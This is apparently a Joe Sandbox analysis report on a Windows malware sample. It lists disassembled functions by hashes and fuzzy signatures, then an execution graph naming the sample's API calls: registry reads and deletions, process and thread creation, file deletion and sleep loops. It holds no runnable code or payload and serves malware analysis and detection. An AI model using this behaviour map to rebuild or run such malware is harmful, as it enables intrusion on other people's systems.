                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 9395b1311f1aab6e5c840d53b315a9370a46579cb3d7281a4f06cd556fc35e21
                                                                                                                              • Instruction ID: 58ca66980cce99d47e1d880c778263527a6febc201fe0911b688534073c8d7ab
                                                                                                                              • Opcode Fuzzy Hash: 9395b1311f1aab6e5c840d53b315a9370a46579cb3d7281a4f06cd556fc35e21
                                                                                                                              • Instruction Fuzzy Hash:

                                                                                                                              Non-executed Functions

                                                                                                                              Function 07648BD0 Relevance: 5.5, Strings: 4, Instructions: 535COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1737294135.0000000007640000.00000040.00000800.00020000.00000000.sdmp, Offset: 07640000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7640000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID: 4'^q$:$pbq$~
                                                                                                                              • API String ID: 0-999388165
                                                                                                                              • Opcode ID: 3f683d9451106fbc7bdc0dc7bff90a97eb6a2e7f5e13cd7801094f0a4daf4d89
                                                                                                                              • Instruction ID: 8f9d58cb6b5849936f391e3c98cdc57416bd97bd9eed75759be0213c17ac8f7b
                                                                                                                              • Opcode Fuzzy Hash: 3f683d9451106fbc7bdc0dc7bff90a97eb6a2e7f5e13cd7801094f0a4daf4d89
                                                                                                                              • Instruction Fuzzy Hash: E832C2B5A01219DFDB15CFA9C984E99BBB2FF49300F1580E9E50AAB261D731ED91DF00
                                                                                                                              Function 076E2650 Relevance: .3, Instructions: 312COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1737711477.00000000076E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076E0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_76e0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: bdb5676a83aefb0d1b0b351d3c6f929bf0b43def11724ac64aead710cab104cf
                                                                                                                              • Instruction ID: 4343963e556899dba44cefa3d129796d2326e00926a7129176715240c6c51c24
                                                                                                                              • Opcode Fuzzy Hash: bdb5676a83aefb0d1b0b351d3c6f929bf0b43def11724ac64aead710cab104cf
                                                                                                                              • Instruction Fuzzy Hash: 10E129B4E106198FCB14DFA9C5909AEFBB6FF89304F248169D815AB356D730AD42CF60
                                                                                                                              Function 076E4490 Relevance: .3, Instructions: 312COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1737711477.00000000076E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076E0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_76e0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 518adbb116f02761eaee453965f6f97c8f842aad23a6203e7e83eff90911417c
                                                                                                                              • Instruction ID: a737bff0722e579139ccc2829bf6df82f0f4e60b5cce78b64fbeb858ab504168
                                                                                                                              • Opcode Fuzzy Hash: 518adbb116f02761eaee453965f6f97c8f842aad23a6203e7e83eff90911417c
                                                                                                                              • Instruction Fuzzy Hash: E3E11EB4E111598FCB14DFA9C5809AEFBF6FF89304F248169E815AB355DB30A942CF60
                                                                                                                              Function 076E2218 Relevance: .3, Instructions: 312COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1737711477.00000000076E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076E0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_76e0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 42041ff441efeb100bcd73684ef59ed456135b8942d91dc700b9de134a27abae
                                                                                                                              • Instruction ID: 5869b8b6c0d6f34550b8c243a51ec0326faab4f8bb670080a34809f31efc2091
                                                                                                                              • Opcode Fuzzy Hash: 42041ff441efeb100bcd73684ef59ed456135b8942d91dc700b9de134a27abae
                                                                                                                              • Instruction Fuzzy Hash: 56E13CB4E116198FCB14DFA9C5909AEFBF6FF89304F248169D805AB356D730A942CF60
                                                                                                                              Function 076E1DE0 Relevance: .3, Instructions: 312COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1737711477.00000000076E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076E0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_76e0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 31b94762cb46c12a567098ad455ec51778ef908c7d5d1e918df99678c01bd454
                                                                                                                              • Instruction ID: 54a7cd4c60d7cc3cd914fa3ed2d4a61df2c31aa909e9413f9db52dcd60de5c1e
                                                                                                                              • Opcode Fuzzy Hash: 31b94762cb46c12a567098ad455ec51778ef908c7d5d1e918df99678c01bd454
                                                                                                                              • Instruction Fuzzy Hash: 33E12EB4E112198FCB14DFA9C5809AEFBF6FF49304F248159E515AB356D730A942CF60
                                                                                                                              Function 076E19A8 Relevance: .3, Instructions: 312COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1737711477.00000000076E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076E0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_76e0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 651902687e4485b5ec8f9669fa396e34349f84764739e8337e8e2de9a05005f0
                                                                                                                              • Instruction ID: ad8d8055c9460557df9ac7d9e147abe5c192a64f44dff657fac946e92ea6af63
                                                                                                                              • Opcode Fuzzy Hash: 651902687e4485b5ec8f9669fa396e34349f84764739e8337e8e2de9a05005f0
                                                                                                                              • Instruction Fuzzy Hash: A1E10CB4E012198FCB14DFA9C5849AEFBF6FF89304F248169D815AB356D730A942DF60
                                                                                                                              Function 05BF9E30 Relevance: .3, Instructions: 274COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 0840c380ec4db70daa5f8697511907757f7caade5c3b1c9e631f02cf14f6cab4
                                                                                                                              • Instruction ID: 67bf90927262f3680e114a734ff1082ca162a4bf22ad0f6259d94aaf96f3241c
                                                                                                                              • Opcode Fuzzy Hash: 0840c380ec4db70daa5f8697511907757f7caade5c3b1c9e631f02cf14f6cab4
                                                                                                                              • Instruction Fuzzy Hash: 4EC1D670E01228CFDB14DFA9C884BDDFBB2BF49300F1495A9D509A7252DB35AA89CF51
                                                                                                                              Function 05BF9870 Relevance: .3, Instructions: 266COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 4a7082416b9120712f6ed0bb456948b608a691d8426cfe5edd2e9a9968c04bc1
                                                                                                                              • Instruction ID: c08f27c699ea95470e9c8412af781d0b6036048f2ea42c4c69bfe270b7b64046
                                                                                                                              • Opcode Fuzzy Hash: 4a7082416b9120712f6ed0bb456948b608a691d8426cfe5edd2e9a9968c04bc1
                                                                                                                              • Instruction Fuzzy Hash: FED1E93192075ADACB10EB64D990AADF7B1FF95300F10D79AE4093B265EB706AC9CB41
                                                                                                                              Function 05BF9880 Relevance: .3, Instructions: 264COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: f2ee71f9a9ff4bba1922b68480d912f761485d6b407e3468eb6382c7edf4d108
                                                                                                                              • Instruction ID: 94489231ee9562e24e9d09ddd40405a4d105778745e8c7e5a2757be85e830328
                                                                                                                              • Opcode Fuzzy Hash: f2ee71f9a9ff4bba1922b68480d912f761485d6b407e3468eb6382c7edf4d108
                                                                                                                              • Instruction Fuzzy Hash: 9ED1D93192075ADACB10EB64D990AADF7B1FF95300F10D79AE40937265EF706AC9CB81
                                                                                                                              Function 076E2640 Relevance: .1, Instructions: 136COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1737711477.00000000076E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076E0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_76e0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 0221ec93da77d471ca9b91ef7becdd03b8eb6a51a5357045bb1552777c2b5a7f
                                                                                                                              • Instruction ID: 8940074b939bcb68b073bba5d6e2ec44ae81398fac578cb0b25f68d6f7029126
                                                                                                                              • Opcode Fuzzy Hash: 0221ec93da77d471ca9b91ef7becdd03b8eb6a51a5357045bb1552777c2b5a7f
                                                                                                                              • Instruction Fuzzy Hash: 92512AB1E016198FCB14CFA9C5845AEFBB6FF89304F248169D419AB356D730A942CFA1
                                                                                                                              Function 076E1DD0 Relevance: .1, Instructions: 135COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1737711477.00000000076E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076E0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_76e0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: e4b847162f6829b973e7fa75b6f566b8f662701b309730308942f7b0a0ec66e4
                                                                                                                              • Instruction ID: a62a4b8bb295bceba10ad1ab8dc8373bd7c42d7837794f89aa9b7af3aaa9c984
                                                                                                                              • Opcode Fuzzy Hash: e4b847162f6829b973e7fa75b6f566b8f662701b309730308942f7b0a0ec66e4
                                                                                                                              • Instruction Fuzzy Hash: 125139B0E102198BCB14CFAAC5805AEFBF6BF89300F248169D419AB356D7309942CFA1
                                                                                                                              Function 076E4480 Relevance: .1, Instructions: 132COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1737711477.00000000076E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076E0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_76e0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 44a1eab1a3cede83cc1eb480e6d250a1168b581b54bb4164ee01608c849eb3f8
                                                                                                                              • Instruction ID: fde5cdf20f9e444dc379038e1cc7517d5d25232c61009806e8e8454b71574787
                                                                                                                              • Opcode Fuzzy Hash: 44a1eab1a3cede83cc1eb480e6d250a1168b581b54bb4164ee01608c849eb3f8
                                                                                                                              • Instruction Fuzzy Hash: 05511AB4E012598FDB14CFA9C5805AEFBB6FF89304F248169E419AB356DB309942CF60
                                                                                                                              Function 076E2209 Relevance: .1, Instructions: 131COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1737711477.00000000076E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076E0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_76e0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 3e78a52c45eb39ad18b1be4f1bffce4993c98f9f71215fa0ba86c139a053bba6
                                                                                                                              • Instruction ID: ea4f758e1b8741850b161297cf49e5ec9a7dc1000e238e7317d3777685b0ef39
                                                                                                                              • Opcode Fuzzy Hash: 3e78a52c45eb39ad18b1be4f1bffce4993c98f9f71215fa0ba86c139a053bba6
                                                                                                                              • Instruction Fuzzy Hash: FB513AB0E006198FCB14CFA9C5845AEFBB6FF89304F24816AD419AB356D7309942CFA0
                                                                                                                              Function 076E19A7 Relevance: .1, Instructions: 128COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1737711477.00000000076E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076E0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_76e0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: c4feebb8e9500fb3b3443db332c769262b85d7b82230fde79f20b30d24c3b8ed
                                                                                                                              • Instruction ID: 3f3bccad63234cce6cd088012fee06d6c5a1afd8d724b792dcb78231432fdb69
                                                                                                                              • Opcode Fuzzy Hash: c4feebb8e9500fb3b3443db332c769262b85d7b82230fde79f20b30d24c3b8ed
                                                                                                                              • Instruction Fuzzy Hash: 47513BB4E002198BCB18CFAAC5805AEFBF6FF89304F24C169D419AB355D7309942CFA0
                                                                                                                              Function 07648BC0 Relevance: .1, Instructions: 108COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1737294135.0000000007640000.00000040.00000800.00020000.00000000.sdmp, Offset: 07640000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7640000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 6be181ce921c3036aaab5bc4cdfb2b8041a13db47ac3f1c927c7aba873520d04
                                                                                                                              • Instruction ID: 2a469a10fc15391d549a31f84bbd874ac7a1a1feb7c18c5a9d0ce8ef3efec20f
                                                                                                                              • Opcode Fuzzy Hash: 6be181ce921c3036aaab5bc4cdfb2b8041a13db47ac3f1c927c7aba873520d04
                                                                                                                              • Instruction Fuzzy Hash: 9A41B9B5E016198BEB68CF6AC9407DABBF3AFC9200F14C5A5D409E7254EB305A86CF50
                                                                                                                              Function 05BF3AE1 Relevance: 7.6, Strings: 6, Instructions: 98COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID: 4'^q$4'^q$4'^q$4'^q$4'^q$4'^q
                                                                                                                              • API String ID: 0-2822668367
                                                                                                                              • Opcode ID: 37a61e46dbf52456f1ec22297002c2247b0b414f34748b34dbd1a99958c7c03a
                                                                                                                              • Instruction ID: 7818334886d56b96c5b3991cddc35a40fc2325baeee99b7073e476a9a582f8d4
                                                                                                                              • Opcode Fuzzy Hash: 37a61e46dbf52456f1ec22297002c2247b0b414f34748b34dbd1a99958c7c03a
                                                                                                                              • Instruction Fuzzy Hash: 0A414D70D462068FCB08EF69E5516AE7BB2FB44300B8148B9D005EF2A8EF306995DF81
                                                                                                                              Function 05BF3AF0 Relevance: 7.6, Strings: 6, Instructions: 95COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID: 4'^q$4'^q$4'^q$4'^q$4'^q$4'^q
                                                                                                                              • API String ID: 0-2822668367
                                                                                                                              • Opcode ID: 1f4a798fddfcf089afa775d4d12ab6a29584f20905ebcdd8742e4ac759f96735
                                                                                                                              • Instruction ID: a79f3f8bf84a6f722e1551fda6355e2c8faaf36f4b21feb88d4d7dd507b48284
                                                                                                                              • Opcode Fuzzy Hash: 1f4a798fddfcf089afa775d4d12ab6a29584f20905ebcdd8742e4ac759f96735
                                                                                                                              • Instruction Fuzzy Hash: 38414F70D462068FCB08EF69E5516AE77B6FB84300BC149B9D005EF2A8EF306995DF90

                                                                                                                              Execution Graph

                                                                                                                              Execution Coverage:2.1%
                                                                                                                              Dynamic/Decrypted Code Coverage:0%
                                                                                                                              Signature Coverage:1.7%
                                                                                                                              Total number of Nodes:767
                                                                                                                              Total number of Limit Nodes:21
                                                                                                                              execution_graph 46506 434887 46507 434893 ___FrameUnwindToState 46506->46507 46533 434596 46507->46533 46509 43489a 46511 4348c3 46509->46511 46821 4349f9 IsProcessorFeaturePresent IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter ___scrt_get_show_window_mode 46509->46821 46519 434902 ___scrt_is_nonwritable_in_current_image ___scrt_release_startup_lock 46511->46519 46822 444251 5 API calls TranslatorGuardHandler 46511->46822 46513 4348dc 46515 4348e2 ___FrameUnwindToState 46513->46515 46823 4441f5 5 API calls TranslatorGuardHandler 46513->46823 46516 434962 46544 434b14 46516->46544 46519->46516 46824 4433e7 35 API calls 5 library calls 46519->46824 46526 434984 46527 43498e 46526->46527 46826 44341f 28 API calls _abort 46526->46826 46529 434997 46527->46529 46827 4433c2 28 API calls _abort 46527->46827 46828 43470d 13 API calls 2 library calls 46529->46828 46532 43499f 46532->46515 46534 43459f 46533->46534 46829 434c52 IsProcessorFeaturePresent 46534->46829 46536 4345ab 46830 438f31 10 API calls 4 library calls 46536->46830 46538 4345b0 46543 4345b4 46538->46543 46831 4440bf 46538->46831 46541 4345cb 46541->46509 46543->46509 46840 436e90 46544->46840 46547 434968 46548 4441a2 46547->46548 46842 44f059 46548->46842 46550 434971 46553 40e9c5 46550->46553 46551 4441ab 46551->46550 46846 446815 35 API calls 46551->46846 46848 41cb50 LoadLibraryA GetProcAddress 46553->46848 46555 40e9e1 GetModuleFileNameW 46853 40f3c3 46555->46853 46557 40e9fd 46868 4020f6 46557->46868 46560 4020f6 28 API calls 46561 40ea1b 46560->46561 46874 41be1b 46561->46874 46565 40ea2d 46900 401e8d 46565->46900 46567 40ea36 46568 40ea93 46567->46568 46569 40ea49 46567->46569 46906 401e65 46568->46906 47105 40fbb3 95 API calls 46569->47105 46572 40ea5b 46574 401e65 22 API calls 46572->46574 46573 40eaa3 46576 401e65 22 API calls 46573->46576 46575 40ea67 46574->46575 47106 410f37 36 API calls __EH_prolog 46575->47106 46577 40eac2 46576->46577 46911 40531e 46577->46911 46580 40ead1 46916 406383 46580->46916 46581 40ea79 47107 40fb64 77 API calls 46581->47107 46585 40ea82 47108 40f3b0 70 API calls 46585->47108 46591 401fd8 11 API calls 46593 40eefb 46591->46593 46592 401fd8 11 API calls 46594 40eafb 46592->46594 46825 4432f6 GetModuleHandleW 46593->46825 46595 401e65 22 API calls 46594->46595 46596 40eb04 46595->46596 46933 401fc0 46596->46933 46598 40eb0f 46599 401e65 22 API calls 46598->46599 46600 40eb28 46599->46600 46601 401e65 22 API calls 46600->46601 46602 40eb43 46601->46602 46603 40ebae 46602->46603 47109 406c1e 28 API calls 46602->47109 46604 401e65 22 API calls 46603->46604 46611 40ebbb 46604->46611 46606 40eb70 46607 401fe2 28 API calls 46606->46607 46608 40eb7c 46607->46608 46609 401fd8 11 API calls 46608->46609 46612 40eb85 46609->46612 46610 40ec02 46937 40d069 46610->46937 46611->46610 46616 413549 3 API calls 46611->46616 47110 413549 RegOpenKeyExA 46612->47110 46614 40ec08 46615 40ea8b 46614->46615 46940 41b2c3 46614->46940 46615->46591 46622 40ebe6 46616->46622 46620 40f34f 47147 4139a9 30 API calls 46620->47147 46621 40ec23 46623 40ec76 46621->46623 46957 407716 46621->46957 46622->46610 47113 4139a9 30 API calls 46622->47113 46625 401e65 22 API calls 46623->46625 46628 40ec7f 46625->46628 46637 40ec90 46628->46637 46638 40ec8b 46628->46638 46630 40f365 47148 412475 65 API calls ___scrt_get_show_window_mode 46630->47148 46631 40ec42 47114 407738 30 API calls 46631->47114 46632 40ec4c 46635 401e65 22 API calls 46632->46635 46646 40ec55 46635->46646 46636 40f34d 46640 41bc5e 28 API calls 46636->46640 46644 401e65 22 API calls 46637->46644 47117 407755 CreateProcessA CloseHandle CloseHandle ___scrt_get_show_window_mode 46638->47117 46639 40ec47 47115 407260 97 API calls 46639->47115 46641 40f37f 46640->46641 47149 413a23 RegOpenKeyExW RegDeleteValueW 46641->47149 46645 40ec99 46644->46645 46961 41bc5e 46645->46961 46646->46623 46651 40ec71 46646->46651 46649 40eca4 46965 401f13 46649->46965 47116 407260 97 API calls 46651->47116 46652 40f392 46655 401f09 11 API calls 46652->46655 46657 40f39c 46655->46657 46659 401f09 11 API calls 46657->46659 46661 40f3a5 46659->46661 46660 401e65 22 API calls 46662 40ecc1 46660->46662 47150 40dd42 27 API calls 46661->47150 46666 401e65 22 API calls 46662->46666 46664 40f3aa 47151 414f2a 167 API calls 46664->47151 46668 40ecdb 46666->46668 46669 401e65 22 API calls 46668->46669 46670 40ecf5 46669->46670 46671 401e65 22 API calls 46670->46671 46673 40ed0e 46671->46673 46672 40ed7b 46675 40ed8a 46672->46675 46680 40ef06 ___scrt_get_show_window_mode 46672->46680 46673->46672 46674 401e65 22 API calls 46673->46674 46678 40ed23 _wcslen 46674->46678 46676 401e65 22 API calls 46675->46676 46682 40ee0f 46675->46682 46677 40ed9c 46676->46677 46679 401e65 22 API calls 46677->46679 46678->46672 46683 401e65 22 API calls 46678->46683 46681 40edae 46679->46681 47120 4136f8 RegOpenKeyExA RegQueryValueExA RegCloseKey 46680->47120 46686 401e65 22 API calls 46681->46686 46704 40ee0a ___scrt_get_show_window_mode 46682->46704 46684 40ed3e 46683->46684 46687 401e65 22 API calls 46684->46687 46688 40edc0 46686->46688 46689 40ed53 46687->46689 46691 401e65 22 API calls 46688->46691 46977 40da34 46689->46977 46690 40ef51 46692 401e65 22 API calls 46690->46692 46694 40ede9 46691->46694 46695 40ef76 46692->46695 46700 401e65 22 API calls 46694->46700 47121 402093 46695->47121 46697 401f13 28 API calls 46699 40ed72 46697->46699 46702 401f09 11 API calls 46699->46702 46703 40edfa 46700->46703 46701 40ef88 47127 41376f 14 API calls 46701->47127 46702->46672 47035 40cdf9 46703->47035 46704->46682 47118 413947 31 API calls 46704->47118 46708 40ef9e 46710 401e65 22 API calls 46708->46710 46709 40eea3 ctype 46712 401e65 22 API calls 46709->46712 46711 40efaa 46710->46711 47128 43baac 39 API calls _swprintf 46711->47128 46715 40eeba 46712->46715 46714 40efb7 46716 40efe4 46714->46716 47129 41cd9b 86 API calls ___scrt_get_show_window_mode 46714->47129 46715->46690 46717 401e65 22 API calls 46715->46717 46721 402093 28 API calls 46716->46721 46718 40eed7 46717->46718 46722 41bc5e 28 API calls 46718->46722 46720 40efc8 CreateThread 46720->46716 47424 41d45d 10 API calls 46720->47424 46723 40eff9 46721->46723 46724 40eee3 46722->46724 46725 402093 28 API calls 46723->46725 47119 40f474 103 API calls 46724->47119 46727 40f008 46725->46727 47130 41b4ef 79 API calls 46727->47130 46728 40eee8 46728->46690 46730 40eeef 46728->46730 46730->46615 46731 40f00d 46732 401e65 22 API calls 46731->46732 46733 40f019 46732->46733 46734 401e65 22 API calls 46733->46734 46735 40f02b 46734->46735 46736 401e65 22 API calls 46735->46736 46737 40f04b 46736->46737 47131 43baac 39 API calls _swprintf 46737->47131 46739 40f058 46740 401e65 22 API calls 46739->46740 46741 40f063 46740->46741 46742 401e65 22 API calls 46741->46742 46743 40f074 46742->46743 46744 401e65 22 API calls 46743->46744 46745 40f089 46744->46745 46746 401e65 22 API calls 46745->46746 46747 40f09a 46746->46747 46748 40f0a1 StrToIntA 46747->46748 47132 409de4 169 API calls _wcslen 46748->47132 46750 40f0b3 46751 401e65 22 API calls 46750->46751 46753 40f0bc 46751->46753 46752 40f101 46756 401e65 22 API calls 46752->46756 46753->46752 47133 4344ea 46753->47133 46761 40f111 46756->46761 46757 401e65 22 API calls 46758 40f0e4 46757->46758 46759 40f0eb CreateThread 46758->46759 46759->46752 47426 419fb4 102 API calls __EH_prolog 46759->47426 46760 40f159 46762 401e65 22 API calls 46760->46762 46761->46760 46763 4344ea new 22 API calls 46761->46763 46768 40f162 46762->46768 46764 40f126 46763->46764 46765 401e65 22 API calls 46764->46765 46766 40f138 46765->46766 46769 40f13f CreateThread 46766->46769 46767 40f1cc 46770 401e65 22 API calls 46767->46770 46768->46767 46771 401e65 22 API calls 46768->46771 46769->46760 47425 419fb4 102 API calls __EH_prolog 46769->47425 46773 40f1d5 46770->46773 46772 40f17e 46771->46772 46775 401e65 22 API calls 46772->46775 46774 40f21a 46773->46774 46777 401e65 22 API calls 46773->46777 47143 41b60d 79 API calls 46774->47143 46778 40f193 46775->46778 46780 40f1ea 46777->46780 47140 40d9e8 31 API calls 46778->47140 46779 40f223 46781 401f13 28 API calls 46779->46781 46784 401e65 22 API calls 46780->46784 46783 40f22e 46781->46783 46786 401f09 11 API calls 46783->46786 46787 40f1ff 46784->46787 46785 40f1a6 46788 401f13 28 API calls 46785->46788 46789 40f237 CreateThread 46786->46789 47141 43baac 39 API calls _swprintf 46787->47141 46790 40f1b2 46788->46790 46792 40f264 46789->46792 46793 40f258 CreateThread 46789->46793 47427 40f7a7 120 API calls 46789->47427 46794 401f09 11 API calls 46790->46794 46795 40f279 46792->46795 46796 40f26d CreateThread 46792->46796 46793->46792 46798 40f1bb CreateThread 46794->46798 46800 40f2cc 46795->46800 46802 402093 28 API calls 46795->46802 46796->46795 47428 4126db 38 API calls ___scrt_get_show_window_mode 46796->47428 46798->46767 47429 401be9 49 API calls 46798->47429 46799 40f20c 47142 40c162 7 API calls 46799->47142 47145 4134ff RegOpenKeyExA RegQueryValueExA RegCloseKey 46800->47145 46803 40f29c 46802->46803 47144 4052fd 28 API calls 46803->47144 46806 40f2e4 46806->46661 46809 41bc5e 28 API calls 46806->46809 46812 40f2fd 46809->46812 47146 41361b 31 API calls 46812->47146 46816 40f313 46817 401f09 11 API calls 46816->46817 46819 40f31e 46817->46819 46818 40f346 DeleteFileW 46818->46636 46818->46819 46819->46636 46819->46818 46820 40f334 Sleep 46819->46820 46820->46819 46821->46509 46822->46513 46823->46519 46824->46516 46825->46526 46826->46527 46827->46529 46828->46532 46829->46536 46830->46538 46835 44fb68 46831->46835 46834 438f5a 8 API calls 3 library calls 46834->46543 46838 44fb81 46835->46838 46837 4345bd 46837->46541 46837->46834 46839 434fcb 5 API calls ___raise_securityfailure 46838->46839 46839->46837 46841 434b27 GetStartupInfoW 46840->46841 46841->46547 46843 44f06b 46842->46843 46844 44f062 46842->46844 46843->46551 46847 44ef58 48 API calls 4 library calls 46844->46847 46846->46551 46847->46843 46849 41cb8f LoadLibraryA GetProcAddress 46848->46849 46850 41cb7f GetModuleHandleA GetProcAddress 46848->46850 46851 41cbb8 44 API calls 46849->46851 46852 41cba8 LoadLibraryA GetProcAddress 46849->46852 46850->46849 46851->46555 46852->46851 47152 41b4a8 FindResourceA 46853->47152 46857 40f3ed ctype 47162 4020b7 46857->47162 46860 401fe2 28 API calls 46861 40f413 46860->46861 46862 401fd8 